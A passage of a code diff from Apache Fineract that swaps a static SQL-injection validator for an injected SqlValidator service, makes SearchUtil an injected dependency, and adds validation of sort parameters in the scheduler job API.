sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -108,8 +108,8 @@ import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoun
import org.apache.fineract.infrastructure.dataqueries.exception.DatatableSystemErrorException; import org.apache.fineract.infrastructure.dataqueries.exception.DatatableSystemErrorException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService; import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.security.utils.ColumnValidator; import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
import org.apache.fineract.portfolio.search.data.AdvancedQueryData; import org.apache.fineract.portfolio.search.data.AdvancedQueryData;
import org.apache.fineract.portfolio.search.data.ColumnFilterData; import org.apache.fineract.portfolio.search.data.ColumnFilterData;
import org.apache.fineract.portfolio.search.service.SearchUtil; import org.apache.fineract.portfolio.search.service.SearchUtil;
@@ -148,6 +148,8 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
private final NamedParameterJdbcTemplate namedParameterJdbcTemplate; private final NamedParameterJdbcTemplate namedParameterJdbcTemplate;
private final SqlInjectionPreventerService preventSqlInjectionService; private final SqlInjectionPreventerService preventSqlInjectionService;
private final DatatableKeywordGenerator datatableKeywordGenerator; private final DatatableKeywordGenerator datatableKeywordGenerator;
private final SqlValidator sqlValidator;
private final SearchUtil searchUtil;
@Override @Override
public List<DatatableData> retrieveDatatableNames(final String appTable) { public List<DatatableData> retrieveDatatableNames(final String appTable) {
@@ -185,7 +187,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
@Override @Override
public DatatableData retrieveDatatable(final String datatable) { public DatatableData retrieveDatatable(final String datatable) {
// PERMITTED datatables // PERMITTED datatables
SQLInjectionValidator.validateSQLInput(datatable); sqlValidator.validate(datatable);
final String sql = "select application_table_name, registered_table_name, entity_subtype from x_registered_table " final String sql = "select application_table_name, registered_table_name, entity_subtype from x_registered_table "
+ " where exists (select 'f' from m_appuser_role ur join m_role r on r.id = ur.role_id" + " where exists (select 'f' from m_appuser_role ur join m_role r on r.id = ur.role_id"
+ " left join m_role_permission rp on rp.role_id = r.id left join m_permission p on p.id = rp.permission_id" + " left join m_role_permission rp on rp.role_id = r.id left join m_permission p on p.id = rp.permission_id"
@@ -213,21 +215,21 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
public List<JsonObject> queryDataTable(@NotNull String datatable, @NotNull String columnName, String columnValueString, public List<JsonObject> queryDataTable(@NotNull String datatable, @NotNull String columnName, String columnValueString,
@NotNull String resultColumnsString) { @NotNull String resultColumnsString) {
datatable = validateDatatableRegistered(datatable); datatable = validateDatatableRegistered(datatable);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable)); .mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
List<String> resultColumns = asList(resultColumnsString.split(",")); List<String> resultColumns = asList(resultColumnsString.split(","));
List<String> selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false); List<String> selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
ResultsetColumnHeaderData column = SearchUtil.validateToJdbcColumn(columnName, headersByName, false); ResultsetColumnHeaderData column = searchUtil.validateToJdbcColumn(columnName, headersByName, false);
Object columnValue = SearchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator); Object columnValue = searchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator);
String sql = sqlGenerator.buildSelect(selectColumns, null, false) + " " + sqlGenerator.buildFrom(datatable, null, false) + " WHERE " String sql = sqlGenerator.buildSelect(selectColumns, null, false) + " " + sqlGenerator.buildFrom(datatable, null, false) + " WHERE "
+ EQ.formatPlaceholder(sqlGenerator, column.getColumnName(), 1, null); + EQ.formatPlaceholder(sqlGenerator, column.getColumnName(), 1, null);
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, columnValue); // NOSONAR SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, columnValue); // NOSONAR
List<JsonObject> results = new ArrayList<>(); List<JsonObject> results = new ArrayList<>();
while (rowSet.next()) { while (rowSet.next()) {
SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results); searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
} }
return results; return results;
} }
@@ -240,12 +242,12 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
AdvancedQueryData request = pagedRequest.getRequest().orElseThrow(); AdvancedQueryData request = pagedRequest.getRequest().orElseThrow();
dataTableValidator.validateTableSearch(request); dataTableValidator.validateTableSearch(request);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable)); .mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
String pkColumn = SearchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName(); String pkColumn = searchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
List<ColumnFilterData> columnFilters = request.getNonNullFilters(); List<ColumnFilterData> columnFilters = request.getNonNullFilters();
columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false))); columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
List<String> resultColumns = request.getNonNullResultColumns(); List<String> resultColumns = request.getNonNullResultColumns();
List<String> selectColumns; List<String> selectColumns;
@@ -254,14 +256,14 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
selectColumns = new ArrayList<>(); selectColumns = new ArrayList<>();
selectColumns.add(pkColumn); selectColumns.add(pkColumn);
} else { } else {
selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false); selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
} }
PageRequest pageable = pagedRequest.toPageable(); PageRequest pageable = pagedRequest.toPageable();
PageRequest sortPageable; PageRequest sortPageable;
if (pageable.getSort().isSorted()) { if (pageable.getSort().isSorted()) {
List<Sort.Order> orders = pageable.getSort().toList(); List<Sort.Order> orders = pageable.getSort().toList();
sortPageable = pageable.withSort(Sort.by(orders.stream() sortPageable = pageable.withSort(Sort.by(orders.stream()
.map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList())); .map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
} else { } else {
pageable = pageable.withSort(Sort.Direction.DESC, pkColumn); pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
sortPageable = pageable; sortPageable = pageable;
@@ -275,7 +277,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
String from = " " + sqlGenerator.buildFrom(datatable, null, false); String from = " " + sqlGenerator.buildFrom(datatable, null, false);
StringBuilder where = new StringBuilder(); StringBuilder where = new StringBuilder();
ArrayList<Object> params = new ArrayList<>(); ArrayList<Object> params = new ArrayList<>();
SearchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false, searchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false,
sqlGenerator); sqlGenerator);
List<JsonObject> results = new ArrayList<>(); List<JsonObject> results = new ArrayList<>();
@@ -297,7 +299,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args); SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
while (rowSet.next()) { while (rowSet.next()) {
SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results); searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
} }
return PageableExecutionUtils.getPage(results, pageable, () -> totalElements); return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
} }
@@ -315,19 +317,19 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
datatable = validateDatatableRegistered(datatable); datatable = validateDatatableRegistered(datatable);
context.authenticatedUser().validateHasDatatableReadPermission(datatable); context.authenticatedUser().validateHasDatatableReadPermission(datatable);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable)); .mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
List<String> thisSelectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true); List<String> thisSelectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true);
if (columnFilters != null) { if (columnFilters != null) {
columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false))); columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
} }
select.append(sqlGenerator.buildSelect(thisSelectColumns, alias, true)); select.append(sqlGenerator.buildSelect(thisSelectColumns, alias, true));
selectColumns.addAll(thisSelectColumns); selectColumns.addAll(thisSelectColumns);
String joinType = "LEFT"; String joinType = "LEFT";
if (SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true, if (searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true,
sqlGenerator)) { sqlGenerator)) {
joinType = null; // INNER joinType = null; // INNER
} }
@@ -674,7 +676,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
validateDatatableName(datatableName); validateDatatableName(datatableName);
int rowCount = getDatatableRowCount(datatableName); int rowCount = getDatatableRowCount(datatableName);
final List<ResultsetColumnHeaderData> columnHeaderData = this.genericDataService.fillResultsetColumnHeaders(datatableName); final List<ResultsetColumnHeaderData> columnHeaderData = this.genericDataService.fillResultsetColumnHeaders(datatableName);
final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = SearchUtil.mapHeadersToName(columnHeaderData); final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = searchUtil.mapHeadersToName(columnHeaderData);
final boolean isConstraintApproach = this.configurationDomainService.isConstraintApproachEnabledForDatatables(); final boolean isConstraintApproach = this.configurationDomainService.isConstraintApproachEnabledForDatatables();
@@ -1283,7 +1285,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
CommandProcessingResult commandProcessingResult = checkMainResourceExistsWithinScope(entityTable, appTableId); CommandProcessingResult commandProcessingResult = checkMainResourceExistsWithinScope(entityTable, appTableId);
List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(dataTableName); List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(dataTableName);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders); Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
final Type typeOfMap = new TypeToken<Map<String, String>>() {}.getType(); final Type typeOfMap = new TypeToken<Map<String, String>>() {}.getType();
final Map<String, String> dataParams = fromJsonHelper.extractDataMap(typeOfMap, json); final Map<String, String> dataParams = fromJsonHelper.extractDataMap(typeOfMap, json);
@@ -1302,12 +1304,12 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
if (isTechnicalParam(entry.getKey())) { if (isTechnicalParam(entry.getKey())) {
continue; continue;
} }
ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false); ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
if (!isUserInsertable(entityTable, columnHeader)) { if (!isUserInsertable(entityTable, columnHeader)) {
continue; continue;
} }
insertColumns.add(columnHeader.getColumnName()); insertColumns.add(columnHeader.getColumnName());
params.add(SearchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false, params.add(searchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
sqlGenerator)); sqlGenerator));
} }
if (addScore) { if (addScore) {
@@ -1318,7 +1320,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
} else { } else {
StringBuilder scoreSql = new StringBuilder("SELECT SUM(code_score) FROM m_code_value WHERE m_code_value."); StringBuilder scoreSql = new StringBuilder("SELECT SUM(code_score) FROM m_code_value WHERE m_code_value.");
ArrayList<Object> scoreParams = new ArrayList<>(); ArrayList<Object> scoreParams = new ArrayList<>();
SearchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator); searchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator);
Integer score = jdbcTemplate.queryForObject(scoreSql.toString(), Integer.class, scoreParams.toArray(Object[]::new)); Integer score = jdbcTemplate.queryForObject(scoreSql.toString(), Integer.class, scoreParams.toArray(Object[]::new));
scoreValue = score == null ? 0 : score; scoreValue = score == null ? 0 : score;
} }
@@ -1404,7 +1406,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
throw new PlatformDataIntegrityException("error.msg.attempting.multiple.update", throw new PlatformDataIntegrityException("error.msg.attempting.multiple.update",
"Application table: " + dataTableName + " Foreign key id: " + appTableId); "Application table: " + dataTableName + " Foreign key id: " + appTableId);
} }
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders); Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
final List<Object> existingValues = existingRows.getData().get(0).getRow(); final List<Object> existingValues = existingRows.getData().get(0).getRow();
HashMap<ResultsetColumnHeaderData, Object> valuesByHeader = columnHeaders.stream().collect(HashMap::new, HashMap<ResultsetColumnHeaderData, Object> valuesByHeader = columnHeaders.stream().collect(HashMap::new,
(map, e) -> map.put(e, existingValues.get(map.size())), (map, map2) -> {}); (map, e) -> map.put(e, existingValues.get(map.size())), (map, map2) -> {});
@@ -1426,13 +1428,13 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
if (isTechnicalParam(entry.getKey())) { if (isTechnicalParam(entry.getKey())) {
continue; continue;
} }
ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false); ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
if (!isUserUpdatable(entityTable, columnHeader)) { if (!isUserUpdatable(entityTable, columnHeader)) {
continue; continue;
} }
String columnName = columnHeader.getColumnName(); String columnName = columnHeader.getColumnName();
Object existingValue = valuesByHeader.get(columnHeader); Object existingValue = valuesByHeader.get(columnHeader);
Object columnValue = SearchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false, Object columnValue = searchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
sqlGenerator); sqlGenerator);
if ((columnHeader.getColumnType().isDecimalType() && MathUtil.isEqualTo((BigDecimal) existingValue, (BigDecimal) columnValue)) if ((columnHeader.getColumnType().isDecimalType() && MathUtil.isEqualTo((BigDecimal) existingValue, (BigDecimal) columnValue))
|| (existingValue == null ? columnValue == null : existingValue.equals(columnValue))) { || (existingValue == null ? columnValue == null : existingValue.equals(columnValue))) {
@@ -1445,7 +1447,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
} }
Long primaryKey = datatableId == null ? appTableId : datatableId; Long primaryKey = datatableId == null ? appTableId : datatableId;
if (!updateColumns.isEmpty()) { if (!updateColumns.isEmpty()) {
ResultsetColumnHeaderData pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey); ResultsetColumnHeaderData pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey);
params.add(primaryKey); params.add(primaryKey);
final String sql = sqlGenerator.buildUpdate(dataTableName, updateColumns, headersByName) + " WHERE " + pkColumn.getColumnName() final String sql = sqlGenerator.buildUpdate(dataTableName, updateColumns, headersByName) + " WHERE " + pkColumn.getColumnName()
+ " = ?"; + " = ?";
@@ -1533,7 +1535,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
final boolean multiRow = isMultirowDatatable(columnHeaders); final boolean multiRow = isMultirowDatatable(columnHeaders);
String whereClause = getFKField(entityTable) + " = " + appTableId; String whereClause = getFKField(entityTable) + " = " + appTableId;
SQLInjectionValidator.validateSQLInput(whereClause); sqlValidator.validate(whereClause);
String sql = "select * from " + sqlGenerator.escape(dataTableName) + " where " + whereClause; String sql = "select * from " + sqlGenerator.escape(dataTableName) + " where " + whereClause;
// id only used for reading a specific entry that belongs to appTableId (in a one to many datatable) // id only used for reading a specific entry that belongs to appTableId (in a one to many datatable)
@@ -1636,7 +1638,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
@NotNull @NotNull
private EntityTables queryForApplicationEntity(final String datatable) { private EntityTables queryForApplicationEntity(final String datatable) {
SQLInjectionValidator.validateSQLInput(datatable); sqlValidator.validate(datatable);
final String sql = "SELECT application_table_name FROM x_registered_table where registered_table_name = ?"; final String sql = "SELECT application_table_name FROM x_registered_table where registered_table_name = ?";
final SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, datatable); // NOSONAR final SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, datatable); // NOSONAR
@@ -1681,7 +1683,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
} else if (!name.matches(DATATABLE_NAME_REGEX_PATTERN)) { } else if (!name.matches(DATATABLE_NAME_REGEX_PATTERN)) {
throw new PlatformDataIntegrityException("error.msg.datatables.datatable.invalid.name.regex", "Invalid data table name.", name); throw new PlatformDataIntegrityException("error.msg.datatables.datatable.invalid.name.regex", "Invalid data table name.", name);
} }
SQLInjectionValidator.validateSQLInput(name); sqlValidator.validate(name);
} }
private String validateDatatableRegistered(String datatable) { private String validateDatatableRegistered(String datatable) {
@@ -1750,7 +1752,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
} }
private boolean isMultirowDatatable(final List<ResultsetColumnHeaderData> columnHeaders) { private boolean isMultirowDatatable(final List<ResultsetColumnHeaderData> columnHeaders) {
return SearchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null; return searchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null;
} }
private String datatableColumnNameToCodeValueName(final String columnName, final String code) { private String datatableColumnNameToCodeValueName(final String columnName, final String code) {
@@ -31,7 +31,9 @@ import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDa
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl; import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService; import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.security.utils.ColumnValidator; import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
import org.apache.fineract.portfolio.search.service.SearchUtil;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Configuration;
@@ -50,9 +52,10 @@ public class DataQueriesAutoConfiguration {
final ConfigurationDomainService configurationDomainService, final CodeReadPlatformService codeReadPlatformService, final ConfigurationDomainService configurationDomainService, final CodeReadPlatformService codeReadPlatformService,
final DataTableValidator dataTableValidator, final ColumnValidator columnValidator, final DataTableValidator dataTableValidator, final ColumnValidator columnValidator,
final NamedParameterJdbcTemplate namedParameterJdbcTemplate, final SqlInjectionPreventerService preventSqlInjectionService, final NamedParameterJdbcTemplate namedParameterJdbcTemplate, final SqlInjectionPreventerService preventSqlInjectionService,
DatatableKeywordGenerator datatableKeywordGenerator) { DatatableKeywordGenerator datatableKeywordGenerator, SqlValidator sqlValidator, SearchUtil searchUtil) {
return new ReadWriteNonCoreDataServiceImpl(jdbcTemplate, databaseTypeResolver, sqlGenerator, context, fromJsonHelper, return new ReadWriteNonCoreDataServiceImpl(jdbcTemplate, databaseTypeResolver, sqlGenerator, context, fromJsonHelper,
genericDataService, fromApiJsonDeserializer, configurationDomainService, codeReadPlatformService, dataTableValidator, genericDataService, fromApiJsonDeserializer, configurationDomainService, codeReadPlatformService, dataTableValidator,
columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator); columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator, sqlValidator,
searchUtil);
} }
} }
@@ -61,6 +61,7 @@ import org.apache.fineract.infrastructure.jobs.service.JobRegisterService;
import org.apache.fineract.infrastructure.jobs.service.SchedulerJobRunnerReadService; import org.apache.fineract.infrastructure.jobs.service.SchedulerJobRunnerReadService;
import org.apache.fineract.infrastructure.security.exception.NoAuthorizationException; import org.apache.fineract.infrastructure.security.exception.NoAuthorizationException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@Path("/v1/jobs") @Path("/v1/jobs")
@@ -79,6 +80,7 @@ public class SchedulerJobApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService; private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final PlatformSecurityContext context; private final PlatformSecurityContext context;
private final FineractProperties fineractProperties; private final FineractProperties fineractProperties;
private final SqlValidator sqlValidator;
@GET @GET
@Operation(summary = "Retrieve Scheduler Jobs", description = "Returns the list of jobs.\n" + "\n" + "Example Requests:\n" + "\n" @Operation(summary = "Retrieve Scheduler Jobs", description = "Returns the list of jobs.\n" + "\n" + "Example Requests:\n" + "\n"
@@ -117,7 +119,10 @@ public class SchedulerJobApiResource {
@QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy, @QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) { @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(SchedulerJobApiConstants.SCHEDULER_RESOURCE_NAME); this.context.authenticatedUser().validateHasReadPermission(SchedulerJobApiConstants.SCHEDULER_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder); sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<JobDetailHistoryData> jobhistoryDetailData = this.schedulerJobRunnerReadService.retrieveJobHistory(jobId, final Page<JobDetailHistoryData> jobhistoryDetailData = this.schedulerJobRunnerReadService.retrieveJobHistory(jobId,
searchParameters); searchParameters);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters()); final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -100,18 +100,18 @@ public class SchedulerJobRunnerReadServiceImpl implements SchedulerJobRunnerRead
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " "); sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
sqlBuilder.append(jobHistoryMapper.schema()); sqlBuilder.append(jobHistoryMapper.schema());
sqlBuilder.append(" where job.id=?"); sqlBuilder.append(" where job.id=?");
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -0,0 +1,48 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.report.service;
import jakarta.ws.rs.core.MultivaluedMap;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
public abstract class AbstractReportingProcessService implements ReportingProcessService {
private final SqlValidator sqlValidator;
protected AbstractReportingProcessService(SqlValidator sqlValidator) {
this.sqlValidator = sqlValidator;
}
@Override
public Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) {
final Map<String, String> reportParams = new HashMap<>();
for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
if (entry.getKey().startsWith("R_")) {
String pKey = "${" + entry.getKey().substring(2) + "}";
String pValue = entry.getValue().get(0);
sqlValidator.validate(pValue);
reportParams.put(pKey, pValue);
}
}
return reportParams;
}
}
@@ -20,11 +20,9 @@ package org.apache.fineract.infrastructure.report.service;
import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.MultivaluedMap;
import jakarta.ws.rs.core.Response; import jakarta.ws.rs.core.Response;
import java.util.HashMap;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType; import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
public interface ReportingProcessService { public interface ReportingProcessService {
@@ -32,16 +30,5 @@ public interface ReportingProcessService {
List<ReportExportType> getAvailableExportTargets(); List<ReportExportType> getAvailableExportTargets();
default Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) { Map<String, String> getReportParams(MultivaluedMap<String, String> queryParams);
final Map<String, String> reportParams = new HashMap<>();
for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
if (entry.getKey().startsWith("R_")) {
String pKey = "${" + entry.getKey().substring(2) + "}";
String pValue = entry.getValue().get(0);
SQLInjectionValidator.validateSQLInput(pValue);
reportParams.put(pKey, pValue);
}
}
return reportParams;
}
} }
@@ -53,6 +53,7 @@ import org.apache.fineract.infrastructure.reportmailingjob.ReportMailingJobConst
import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobData; import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobData;
import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobReadPlatformService; import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobReadPlatformService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RESOURCE_NAME) @Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RESOURCE_NAME)
@@ -66,6 +67,7 @@ public class ReportMailingJobApiResource {
private final ApiRequestParameterHelper apiRequestParameterHelper; private final ApiRequestParameterHelper apiRequestParameterHelper;
